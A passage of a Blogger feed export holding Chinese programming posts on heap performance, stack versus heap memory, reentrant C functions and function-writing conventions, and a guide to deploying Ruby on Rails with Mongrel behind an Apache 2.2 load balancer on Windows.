如，如果在应用程序初始化时加载了只读项的列表，这个列表不必是线性链接的列表。如果是动态分配的数组就非常好。动态分配的数组将减少内存中的堆块和碎 片，从而增强性能。&lt;/p&gt;&lt;p&gt;减少需要的小对象的数量减少堆分配程序的负载。例如，我们在服务器的关键处理路径上使用五个不同的对象，每个对象单独分配和释放。一起高速缓存这些对象，把堆调用从五个减少到一个，显著减少了堆的负载，特别当每秒钟处理 1,000 个以上的请求时。&lt;/p&gt;&lt;p&gt;如果大量使用“Automation”结构，请考虑从主线代码中删除“Automation BSTR”，或至少避免重复的 BSTR 操作。（BSTR 连接导致过多的重分配和分配/释放操作。）&lt;/p&gt;&lt;p&gt;摘要&lt;br /&gt;对所有平台往往都存在堆实现，因此有巨大的开销。每个单独代码都有特定的要求，但设计能采用本文讨论的基本理论来减少堆之间的相互作用。 &lt;/p&gt;&lt;p&gt;评价您的代码中堆的使用。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;改进您的代码，以使用较少的堆调用：分析关键路径和固定数据结构。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;在实现自定义的包装程序之前使用量化堆调用成本的方法。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;如果对性能不满意，请要求 OS 组改进堆。更多这类请求意味着对改进堆的更多关注。&lt;/p&gt;&lt;p&gt;&lt;br /&gt;要求 C 运行时组针对 OS 所提供的堆制作小巧的分配包装程序。随着 OS 堆的改进，C 运行时堆调用的成本将减小。&lt;/p&gt;&lt;br /&gt;操作系统（Windows NT 家族）正在不断改进堆。请随时关注和利用这些改进。&lt;br /&gt;Murali Krishnan  是 Internet Information Server (IIS) 组的首席软件设计工程师。从 1.0 版本开始他就设计 IIS，并成功发行 了 1.0 版本到 4.0 版本。Murali 组织并领导 IIS 性能组三年 (1995-1998), 从一开始就影响 IIS 性能。他拥有威 斯康星州 Madison 大学的 M.S.和印度 Anna 大学的 B.S.。工作之外，他喜欢阅读、打排球和家庭烹饪。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="" src="http://writeblog.csdn.net/fckeditor/editor/" align="absmiddle" border="0" /&gt;&lt;a target="_blank" href="http://community.csdn.net/Expert/FAQ/FAQ_Index.asp?id=172835"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://community.csdn.net/Expert/FAQ/FAQ_Index.asp?id=172835&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;我在学习对象的生存方式的时候见到一种是在堆栈(stack)之中，如下&lt;br /&gt;CObject  object;&lt;br /&gt;还有一种是在堆(heap)中  如下&lt;br /&gt;CObject*  pobject=new  CObject();&lt;br /&gt;&lt;br /&gt;请问&lt;br /&gt;（1）这两种方式有什么区别？&lt;br /&gt;（2）堆栈与堆有什么区别？？&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;1)  about  stack,  system  will  allocate  memory  to  the  instance  of  object  automatically,  and  to  the  heap,  you  must  allocate  memory  to  the  instance  of  object  with  new  or  malloc  manually.&lt;br /&gt;2)  when  function  ends,  system  will  automatically  free  the  memory  area  of  stack,  but  to  the  heap,  you  must  free  the  memory  area  manually  with  free  or  delete,  else  it  will  result  in  memory  leak.&lt;br /&gt;3)栈内存分配运算内置于处理器的指令集中，效率很高，但是分配的内存容量有限。&lt;br /&gt;4）堆上分配的内存可以有我们自己决定，使用非常灵活。&lt;br /&gt;---------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;堆和栈的比较&lt;br /&gt;&lt;br /&gt;    从堆和栈的功能和作用来通俗的比较,堆主要用来存放对象的，栈主要是用来执行程序的.而这种不同又主要是由于堆和栈的特点决定的:&lt;br /&gt;&lt;br /&gt;     在编程中，例如C/C++中，所有的方法调用都是通过栈来进行的,所有的局部变量,形式参数都是从栈中分配内存空间的。实际上也不是什么分配,只是从栈顶 向上用就行,就好像工厂中的传送带(conveyor  belt)一样,Stack  Pointer会自动指引你到放东西的位置,你所要做的只是把东 西放下来就行.退出函数的时候，修改栈指针就可以把栈中的内容销毁.这样的模式速度最快,当然要用来运行程序了.需要注意的是,在分配的时候,比如为一个 即将要调用的程序模块分配数据区时,应事先知道这个数据区的大小,也就说是虽然分配是在程序运行时进行的,但是分配的大小多少是确定的,不变的,而这个" 大小多少"是在编译时确定的,不是在运行时.&lt;br /&gt;&lt;br /&gt;    堆是应用程序在运行的时候请求操作系统分配给自己内存，由于从操作系统管理 的内存分配,所以在分配和销毁时都要占用时间，因此用堆的效率非常低.但是堆的优点在于,编译器不必知道要从堆里分配多少存储空间，也不必知道存储的数据 要在堆里停留多长的时间,因此,用堆保存数据时会得到更大的灵活性。事实上,面向对象的多态性,堆内存分配是必不可少的,因为多态变量所需的存储空间只有 在运行时创建了对象之后才能确定.在C++中，要求创建一个对象时，只需用new命令编制相关的代码即可。执行这些代码时，会在堆里自动进行数据的保存. 当然，为达到这种灵活性，必然会付出一定的代价:在堆里分配存储空间时会花掉更长的时间！&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-657992652544917692?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.csdn.net/yueyahe/archive/2006/04/18/667260.aspx' title='堆栈，堆栈，堆和栈的区别'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/657992652544917692/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=657992652544917692' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/657992652544917692'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/657992652544917692'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_15.html' title='堆栈，堆栈，堆和栈的区别'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-5201671965184004433</id><published>2007-02-14T17:29:00.000+08:00</published><updated>2007-02-14T17:35:50.718+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Develop'/><category scheme='http://www.blogger.com/atom/ns#' term='C_C++'/><title type='text'>函数可重入性及编写规范</title><content type='html'>出处：&lt;a href="http://blog.csdn.net/yueyahe/archive/2006/05/15/729126.aspx"&gt;函数可重入性及编写规范 - James Deng的专栏 - CSDNBlog&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;很多地方还是说的不错的，个别有些偏激。&lt;br /&gt;&lt;br /&gt;一、可重入函数&lt;br /&gt;1）什么是可重入性？&lt;br /&gt;可重入（reentrant）函数可以由多于一个任务并发使用，而不必担心数据错误。相反， 不可重入（non-reentrant）函数不能由超过一个任务所共享，除非能确保函数的互斥（或者使用信号量，或者在代码的关键部分禁用中断）。可重入 函数可以在任意时刻被中断，稍后再继续运行，不会丢失数据。可重入函数要么使用本地变量，要么在使用全局变量时保护自己的数据。&lt;br /&gt;&lt;br /&gt;2）可重入函数：&lt;br /&gt;不为连续的调用持有静态数据。&lt;br /&gt;不返回指向静态数据的指针；所有数据都由函数的调用者提供。&lt;br /&gt;使用本地数据，或者通过制作全局数据的本地拷贝来保护全局数据。&lt;br /&gt;如果必须访问全局变量，记住利用互斥信号量来保护全局变量。&lt;br /&gt;绝不调用任何不可重入函数。&lt;br /&gt;&lt;span class=fullpost&gt;&lt;br /&gt;3）不可重入函数：&lt;br /&gt;函数中使用了静态变量，无论是全局静态变量还是局部静态变量。&lt;br /&gt;函数返回静态变量。&lt;br /&gt;函数中调用了不可重入函数。&lt;br /&gt;函数体内使用了静态的数据结构；&lt;br /&gt;函数体内调用了malloc()或者free()函数；&lt;br /&gt;函数体内调用了其他标准I/O函数。&lt;br /&gt;函数是singleton中的成员函数而且使用了不使用线程独立存储的成员变量 。&lt;br /&gt;总的来说，如果一个函数在重入条件下使用了未受保护的共享的资源，那么它是不可重入的。&lt;br /&gt;&lt;br /&gt;4）示例&lt;br /&gt;在多线程条件下，函数应当是线程安全的，进一步，更强的条件是可重入的。可重入函数保证了在多线程条件下，函数的状态不会出现错误。以下分别是一个不可重入和可重入函数的示例：&lt;br /&gt;//c code&lt;br /&gt;static int tmp;&lt;br /&gt;void func1(int* x, int* y) {&lt;br /&gt; tmp=*x;&lt;br /&gt; *x=*y;&lt;br /&gt; *y=tmp;&lt;br /&gt;}&lt;br /&gt;void func2(int* x, int* y) {&lt;br /&gt; int tmp;&lt;br /&gt; tmp=*x;&lt;br /&gt; *x=*y;&lt;br /&gt; *y=tmp;&lt;br /&gt;}&lt;br /&gt;func1是不可重入的，func2是可重入的。因为在多线程条件下，操作系统会在func1还没有执行完的情况下，切换到另一个线程中，那个线程可能再次调用func1，这样状态就错了。&lt;br /&gt;&lt;br /&gt;二、函数编写规范&lt;br /&gt;1 ：对所调用函数的错误返回码要仔细、全面地处理&lt;br /&gt;&lt;br /&gt;2 ：明确函数功能，精确（而不是近似）地实现函数设计&lt;br /&gt;&lt;br /&gt;3 ：编写可重入函数时，应注意局部变量的使用（如编写C/C++ 语言的可重入函数时，应使用auto 即缺省态局部变量或寄存器变量）&lt;br /&gt;说明：编写C/C++语言的可重入函数时，不应使用static局部变量，否则必须经过特殊处理，才能使函数具有可重入性。&lt;br /&gt;&lt;br /&gt;4 ：编写可重入函数时，若使用全局变量，则应通过关中断、信号量（即P 、V 操作）等手段对其加以保护&lt;br /&gt;说明：若对所使用的全局变量不加以保护，则此函数就不具有可重入性，即当多个进程调用此函数时，很有可能使有关全局变量变为不可知状态。&lt;br /&gt;示例：假设Exam是int型全局变量，函数Squre_Exam返回Exam平方值。那么如下函数不具有可重入性。&lt;br /&gt;unsigned int example( int para )&lt;br /&gt;{&lt;br /&gt; unsigned int temp;&lt;br /&gt; Exam = para; // （**）&lt;br /&gt; temp = Square_Exam( );&lt;br /&gt; return temp;&lt;br /&gt;}&lt;br /&gt;此 函数若被多个进程调用的话，其结果可能是未知的，因为当（**）语句刚执行完后，另外一个使用本函数的进程可能正好被激活，那么当新激活的进程执行到此函 数时，将使Exam赋与另一个不同的para值，所以当控制重新回到“temp = Square_Exam( )”后，计算出的temp很可能不是预想中的结果。此函数应如下改进。&lt;br /&gt;unsigned int example( int para )&lt;br /&gt;{&lt;br /&gt; unsigned int temp;&lt;br /&gt; [申请信号量操作]        // 若申请不到“信号量”，说明另外的进程正处于&lt;br /&gt; Exam = para;            // 给Exam赋值并计算其平方过程中（即正在使用此&lt;br /&gt; temp = Square_Exam( );  // 信号），本进程必须等待其释放信号后，才可继&lt;br /&gt; [释放信号量操作]        // 续执行。若申请到信号，则可继续执行，但其&lt;br /&gt;                         // 它进程必须等待本进程释放信号量后，才能再使&lt;br /&gt;                         // 用本信号。&lt;br /&gt; return temp;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;5 ：在同一项目组应明确规定对接口函数参数的合法性检查应由函数的调用者负责还是由接口函数本身负责，缺省是由函数调用者负责&lt;br /&gt;说 明：对于模块间接口函数的参数的合法性检查这一问题，往往有两个极端现象，即：要么是调用者和被调用者对参数均不作合法性检查，结果就遗漏了合法性检查这 一必要的处理过程，造成问题隐患；要么就是调用者和被调用者均对参数进行合法性检查，这种情况虽不会造成问题，但产生了冗余代码，降低了效率。&lt;br /&gt;&lt;br /&gt;6 ：防止将函数的参数作为工作变量&lt;br /&gt;说明：将函数的参数作为工作变量，有可能错误地改变参数内容，所以很危险。对必须改变的参数，最好先用局部变量代之，最后再将该局部变量的内容赋给该参数。&lt;br /&gt;示例：如下函数的实现就不太好。&lt;br /&gt;void sum_data( unsigned int num, int *data, int *sum )&lt;br /&gt;{&lt;br /&gt; unsigned int count;&lt;br /&gt; *sum = 0;&lt;br /&gt;&lt;br /&gt; for (count = 0; count &lt; sum_temp =" 0;" count =" 0;" sum =" sum_temp;" value =" ("&gt; b ) ? a : b ;&lt;br /&gt;改为如下就很清晰了。&lt;br /&gt;&lt;br /&gt;int max (int a, int b)&lt;br /&gt;{&lt;br /&gt; return ((a &gt; b) ? a : b);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;value = max (a, b);&lt;br /&gt;&lt;br /&gt;或改为如下。&lt;br /&gt;&lt;br /&gt;#define MAX (a, b) (((a) &gt; (b)) ? (a) : (b))&lt;br /&gt;&lt;br /&gt;value = MAX (a, b);&lt;br /&gt;&lt;br /&gt;10：不要设计多用途面面俱到的函数&lt;br /&gt;说明：多功能集于一身的函数，很可能使函数的理解、测试、维护等变得困难。&lt;br /&gt;&lt;br /&gt;11：函数的功能应该是可以预测的，也就是只要输入数据相同就应产生同样的输出&lt;br /&gt;说 明：带有内部“存储器”的函数的功能可能是不可预测的，因为它的输出可能取决于内部存储器（如某标记）的状态。这样的函数既不易于理解又不利于测试和维 护。在C/C++语言中，函数的static局部变量是函数的内部存储器，有可能使函数的功能不可预测，然而，当某函数的返回值为指针类型时，则必须是 STATIC的局部变量的地址作为返回值，若为AUTO类，则返回为错针。&lt;br /&gt;示例：如下函数，其返回值（即功能）是不可预测的。&lt;br /&gt;&lt;br /&gt;unsigned int integer_sum( unsigned int base )&lt;br /&gt;{&lt;br /&gt; unsigned int index;&lt;br /&gt; static unsigned int sum = 0; // 注意，是static类型的。&lt;br /&gt;                              // 若改为auto类型，则函数即变为可预测。&lt;br /&gt; for (index = 1; index &lt;= base; index++)     {         sum += index;     }     return sum; }   12 ：尽量不要编写依赖于其他函数内部实现的函数 说明：此条为函数独立性的基本要求。由于目前大部分高级语言都是结构化的，所以通过具体语言的语法要求与编译器功能，基本就可以防止这种情况发生。但在汇编语言中，由于其灵活性，很可能使函数出现这种情况。 示例：如下是在DOS下TASM的汇编程序例子。过程Print_Msg的实现依赖于Input_Msg的具体实现，这种程序是非结构化的，难以维护、修改。   ...  // 程序代码 proc Print_Msg // 过程（函数）Print_Msg     ...  // 程序代码     jmp  LABEL     ...  // 程序代码 endp   proc Input_Msg // 过程（函数）Input_Msg     ...  // 程序代码 LABEL:     ...  // 程序代码 endp  13 ：避免设计多参数函数，不使用的参数从接口中去掉 说明：目的减少函数间接口的复杂度。   14 ：非调度函数应减少或防止控制参数，尽量只使用数据参数 说 明：本建议目的是防止函数间的控制耦合。调度函数是指根据输入的消息类型或控制命令，来启动相应的功能实体（即函数或过程），而本身并不完成具体功能。控 制参数是指改变函数功能行为的参数，即函数要根据此参数来决定具体怎样工作。非调度函数的控制参数增加了函数间的控制耦合，很可能使函数间的耦合度增大， 并使函数的功能不唯一。 示例：如下函数构造不太合理。 int add_sub( int a, int b, unsigned char add_sub_flg ) {     if (add_sub_flg == INTEGER_ADD)     {         return (a + b);     }     else     {         return (a  b);     } } 不如分为如下两个函数清晰。 int add( int a, int b ) {     return (a + b); }   int sub( int a, int b ) {     return (a  b); } 15 ：检查函数所有参数输入的有效性   16 ：检查函数所有非参数输入的有效性，如数据文件、公共变量等 说明：函数的输入主要有两种：一种是参数输入；另一种是全局变量、数据文件的输入，即非参数输入。函数在使用输入之前，应进行必要的检查。   17 ：函数名应准确描述函数的功能   18 ：使用动宾词组为执行某操作的函数命名。如果是OOP 方法，可以只有动词（名词是对象本身） 示例：参照如下方式命名函数。 void print_record( unsigned int rec_ind ) ; int  input_record( void ) ; unsigned char get_current_color( void ) ;   19 ：避免使用无意义或含义不清的动词为函数命名 说明：避免用含义不清的动词如process、handle等为函数命名，因为这些动词并没有说明要具体做什么。   20 ：函数的返回值要清楚、明了，让使用者不容易忽视错误情况 说明：函数的每种出错返回值的意义要清晰、明了、准确，防止使用者误用、理解错误或忽视错误返回码。   21 ：除非必要，最好不要把与函数返回值类型不同的变量，以编译系统默认的转换方式或强制的转换方式作为返回值返回   22 ：让函数在调用点显得易懂、容易理解   23 ：在调用函数填写参数时，应尽量减少没有必要的默认数据类型转换或强制数据类型转换 说明：因为数据类型转换或多或少存在危险。   24 ：避免函数中不必要语句，防止程序中的垃圾代码 说明：程序中的垃圾代码不仅占用额外的空间，而且还常常影响程序的功能与性能，很可能给程序的测试、维护等造成不必要的麻烦。   25 ：防止把没有关联的语句放到一个函数中 说 明：防止函数或过程内出现随机内聚。随机内聚是指将没有关联或关联很弱的语句放到同一个函数或过程中。随机内聚给函数或过程的维护、测试及以后的升级等造 成了不便，同时也使函数或过程的功能不明确。使用随机内聚函数，常常容易出现在一种应用场合需要改进此函数，而另一种应用场合又不允许这种改进，从而陷入 困境。 在编程时，经常遇到在不同函数中使用相同的代码，许多开发人员都愿把这些代码提出来，并构成一个新函数。若这些代码关联较大并且是完成一个功能的，那么这种构造是合理的，否则这种构造将产生随机内聚的函数。 示例：如下函数就是一种随机内聚。   void Init_Var( void ) {     Rect.length = 0;     Rect.width = 0; /* 初始化矩形的长与宽 */     Point.x = 10;     Point.y = 10;   /* 初始化“点”的坐标 */ }   矩形的长、宽与点的坐标基本没有任何关系，故以上函数是随机内聚。 应如下分为两个函数： void Init_Rect( void ) {     Rect.length = 0;     Rect.width = 0; /* 初始化矩形的长与宽 */ }   void Init_Point( void ) {     Point.x = 10;     Point.y = 10;   /* 初始化“点”的坐标 */ }   26：如果多段代码重复做同一件事情，那么在函数的划分上可能存在问题 说明：若此段代码各语句之间有实质性关联并且是完成同一件功能的，那么可考虑把此段代码构造成一个新的函数。   27：功能不明确较小的函数，特别是仅有一个上级函数调用它时，应考虑把它合并到上级函数中，而不必单独存在 说明：模块中函数划分的过多，一般会使函数间的接口变得复杂。所以过小的函数，特别是扇入很低的或功能不明确的函数，不值得单独存在。   28 ：设计高扇入、合理扇出（小于7 ）的函数 说明：扇出是指一个函数直接调用（控制）其它函数的数目，而扇入是指有多少上级函数调用它。 扇 出过大，表明函数过分复杂，需要控制和协调过多的下级函数；而扇出过小，如总是1，表明函数的调用层次可能过多，这样不利程序阅读和函数结构的分析，并且 程序运行时会对系统资源如堆栈空间等造成压力。函数较合理的扇出（调度函数除外）通常是3-5。扇出太大，一般是由于缺乏中间层次，可适当增加中间层次的 函数。扇出太小，可把下级函数进一步分解多个函数，或合并到上级函数中。当然分解或合并函数时，不能改变要实现的功能，也不能违背函数间的独立性。 扇入越大，表明使用此函数的上级函数越多，这样的函数使用效率高，但不能违背函数间的独立性而单纯地追求高扇入。公共模块中的函数及底层函数应该有较高的扇入。 较良好的软件结构通常是顶层函数的扇出较高，中层函数的扇出较少，而底层函数则扇入到公共模块中。   29 ：减少函数本身或函数间的递归调用 说明：递归调用特别是函数间的递归调用（如A-&gt;B-&gt;C-&gt;A），影响程序的可理解性；递归调用一般都占用较多的系统资源（如栈空间）；递归调用对程序的测试有一定影响。故除非为某些算法或功能的实现方便，应减少没必要的递归调用。&lt;br /&gt;&lt;br /&gt;30 ：仔细分析模块的功能及性能需求，并进一步细分，同时若有必要画出有关数据流图，据此来进行模块的函数划分与组织&lt;br /&gt;说明：函数的划分与组织是模块的实现过程中很关键的步骤，如何划分出合理的函数结构，关系到模块的最终效率和可维护性、可测性等。根据模块的功能图或/及数据流图映射出函数结构是常用方法之一。&lt;br /&gt;&lt;br /&gt;31 ：改进模块中函数的结构，降低函数间的耦合度，并提高函数的独立性以及代码可读性、效率和可维护性&lt;br /&gt;优化函数结构时，要遵守以下原则：&lt;br /&gt;（1）不能影响模块功能的实现。&lt;br /&gt;（2）仔细考查模块或函数出错处理及模块的性能要求并进行完善。&lt;br /&gt;（3）通过分解或合并函数来改进软件结构。&lt;br /&gt;（4）考查函数的规模，过大的要进行分解。&lt;br /&gt;（5）降低函数间接口的复杂度。&lt;br /&gt;（6）不同层次的函数调用要有较合理的扇入、扇出。&lt;br /&gt;（7）函数功能应可预测。&lt;br /&gt;（8）提高函数内聚。（单一功能的函数内聚最高）&lt;br /&gt;说明：对初步划分后的函数结构应进行改进、优化，使之更为合理。&lt;br /&gt;&lt;br /&gt;32 ：在多任务操作系统的环境下编程，要注意函数可重入性的构造&lt;br /&gt;说 明：可重入性是指函数可以被多个任务进程调用。在多任务操作系统中，函数是否具有可重入性是非常重要的，因为这是多个进程可以共用此函数的必要条件。另 外，编译器是否提供可重入函数库，与它所服务的操作系统有关，只有操作系统是多任务时，编译器才有可能提供可重入函数库。如DOS下BC和MSC等就不具 备可重入函数库，因为DOS是单用户单任务操作系统。&lt;br /&gt;&lt;br /&gt;33 ：避免使用BOOL 参数&lt;br /&gt;说明：原因有二，其一是BOOL参数值无意义，TURE/FALSE的含义是非常模糊的，在调用时很难知道该参数到底传达的是什么意思；其二是BOOL参数值不利于扩充。还有NULL也是一个无意义的单词。&lt;br /&gt;&lt;br /&gt;34 ： 对于提供了返回值的函数，在引用时最好使用其返回值&lt;br /&gt;&lt;br /&gt;35 ：当一个过程（函数）中对较长变量（一般是结构的成员）有较多引用时，可以用一个意义相当的宏代替&lt;br /&gt;说明：这样可以增加编程效率和程序的可读性。&lt;br /&gt;示例：在某过程中较多引用TheReceiveBuffer[FirstSocket].byDataPtr，&lt;br /&gt;则可以通过以下宏定义来代替：&lt;br /&gt;# define pSOCKDATA TheReceiveBuffer[FirstScoket].byDataPtr&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-5201671965184004433?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.csdn.net/yueyahe/archive/2006/05/15/729126.aspx' title='函数可重入性及编写规范'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/5201671965184004433/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=5201671965184004433' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5201671965184004433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/5201671965184004433'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_14.html' title='函数可重入性及编写规范'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-3055756204428919889</id><published>2007-02-13T13:08:00.000+08:00</published><updated>2007-02-13T13:09:31.199+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='Develop'/><title type='text'>在Windows平台使用Apache2.2和Mongrel运行Ruby on Rails-rails-Ruby</title><content type='html'>&lt;div&gt;一、安装Ruby、rails、mongrel和Apache2.2&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;从rubyforge网站下载One-Click Ruby Install，运行安装程序，就安装好了ruby和rubygems。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;运行命令：&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;gem install rails –y&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;gem install mongrel –y&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;gem install mongrel_service -y&lt;/span&gt;&lt;/div&gt; &lt;div&gt;安装好了rails和mongrel&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;从Apache网站下载Windows版本的Apache2.2，运行安装程序，就安装好了Apache2.2。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;br /&gt;&lt;span class=fullpost&gt;&lt;br /&gt;&lt;div&gt;二、把Mongrel作为Services启动&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;mongrel_rails service::install -N depot -c d:\Rubyproject\depot -p 3000 –e production&lt;/span&gt;&lt;/div&gt; &lt;div&gt;-N指明服务名称，-d指明rails应用的目录，-p是mongrel监听的tcp端口，-e是启动模式为生产模式&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;这样打开控制面版|管理工具|服务，就可以发现增加了一项名为“depot”的服务，就可以通过控制面版来管理服务了。如果需要命令行启动和关闭该服务，那么：&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;mongrel_rails service::start -N depot&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;mongrel_rails service::stop -N depot&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;如果需要从服务中注销该项服务，那么：&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;mongrel_rails service::remove -N depot&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;如果需要安装多个mongrel实例，那么可以这样：&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;mongrel_rails service::install -N depot0 -c d:\Rubyproject\depot -p 3000 –e production&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;mongrel_rails service::install -N depot1 -c d:\Rubyproject\depot -p 3001 –e production&lt;/span&gt;&lt;/div&gt; &lt;div&gt;诸如此类。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;三、配置Apache2.2&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;用编辑工具打开Apache2.2目录下面的conf/httpd.conf，需要取消如下模块的注释：&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;LoadModule proxy_module modules/mod_proxy.so&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;LoadModule proxy_balancer_module modules/mod_proxy_balancer.so&lt;/span&gt;&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;LoadModule proxy_http_module modules/mod_proxy_http.so&lt;/span&gt;&lt;/div&gt; &lt;div&gt;如果你希望对页面输出使用压缩，也需要取消如下模块的注释：&lt;/div&gt; &lt;div&gt;&lt;span 230=""&gt;LoadModule deflate_module modules/mod_deflate.so&lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;然后按如下内容配置基于HTTP代理的负载均衡：&lt;/div&gt; &lt;div&gt;  &lt;span 230=""&gt; &lt;div class="code_title"&gt;xml 代码&lt;/div&gt; &lt;div class="dp-highlighter"&gt; &lt;div class="bar"&gt; &lt;/div&gt; &lt;ol class="dp-xml"&gt;&lt;li class="alt"&gt;&lt;span&gt;&lt;span&gt;ProxyRequests Off      &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=""&gt;&lt;span&gt;&lt;span class="tag"&gt;&lt;&lt;/span&gt;&lt;span class="tag-name"&gt;Proxy&lt;/span&gt;&lt;span&gt; balancer://myCluster&lt;/span&gt;&lt;span class="tag"&gt;&gt;&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="alt"&gt;&lt;span&gt;  BalancerMember http://localhost:3000      &lt;/span&gt;&lt;/li&gt;&lt;li class=""&gt;&lt;span&gt;  BalancerMember http://localhost:3001      &lt;/span&gt;&lt;/li&gt;&lt;li class="alt"&gt;&lt;span&gt;&lt;span class="tag"&gt;&lt;/span&gt;&lt;span class="tag-name"&gt;Proxy&lt;/span&gt;&lt;span class="tag"&gt;&gt;&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=""&gt;&lt;span&gt;     &lt;/span&gt;&lt;/li&gt;&lt;li class="alt"&gt;&lt;span&gt;&lt;span class="tag"&gt;&lt;&lt;/span&gt;&lt;span class="tag-name"&gt;VirtualHost&lt;/span&gt;&lt;span&gt; *:80&lt;/span&gt;&lt;span class="tag"&gt;&gt;&lt;/span&gt;&lt;span&gt;     &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class=""&gt;&lt;span&gt;  ServerName www.xxx.com      &lt;/span&gt;&lt;/li&gt;&lt;li class="alt"&gt;&lt;span&gt;  DocumentRoot d:/rubyproject/depot/public      &lt;/span&gt;&lt;/li&gt;&lt;li class=""&gt;&lt;span&gt;  ProxyPass /images !      &lt;/span&gt;&lt;/li&gt;&lt;li class="alt"&gt;&lt;span&gt;  ProxyPass /stylesheets !      &lt;/span&gt;&lt;/li&gt;&lt;li class=""&gt;&lt;span&gt;  ProxyPass /javascripts !      &lt;/span&gt;&lt;/li&gt;&lt;li class="alt"&gt;&lt;span&gt;  ProxyPass / balancer://myCluster/      &lt;/span&gt;&lt;/li&gt;&lt;li class=""&gt;&lt;span&gt;  ProxyPassReverse / balancer://myCluster/      &lt;/span&gt;&lt;/li&gt;&lt;li class="alt"&gt;&lt;span&gt;  ProxyPreserveHost on      &lt;/span&gt;&lt;/li&gt;&lt;li class=""&gt;&lt;span&gt;&lt;span class="tag"&gt;&lt;/span&gt;&lt;span class="tag-name"&gt;VirtualHost&lt;/span&gt;&lt;span class="tag"&gt;&gt;&lt;/span&gt;&lt;span&gt;  &lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt; &lt;/div&gt; &lt;/span&gt;&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;myCluster定义了群集中的每个mongrel应用服务器节点。ProxyPass /images !指明该URL开始的请求不代理给Mongrel群集，而由Apache自己处理。重起Apache，然后打开浏览器访问&lt;a href="http://www.xxx.com/"&gt;www.xxx.com&lt;/a&gt;，检查配置是否正确。&lt;/div&gt; &lt;div&gt; &lt;/div&gt; &lt;div&gt;至此，在Windows Server上面一个具备良好稳定性和性能的Ruby on rails生产环境就搭建好了。&lt;/div&gt; 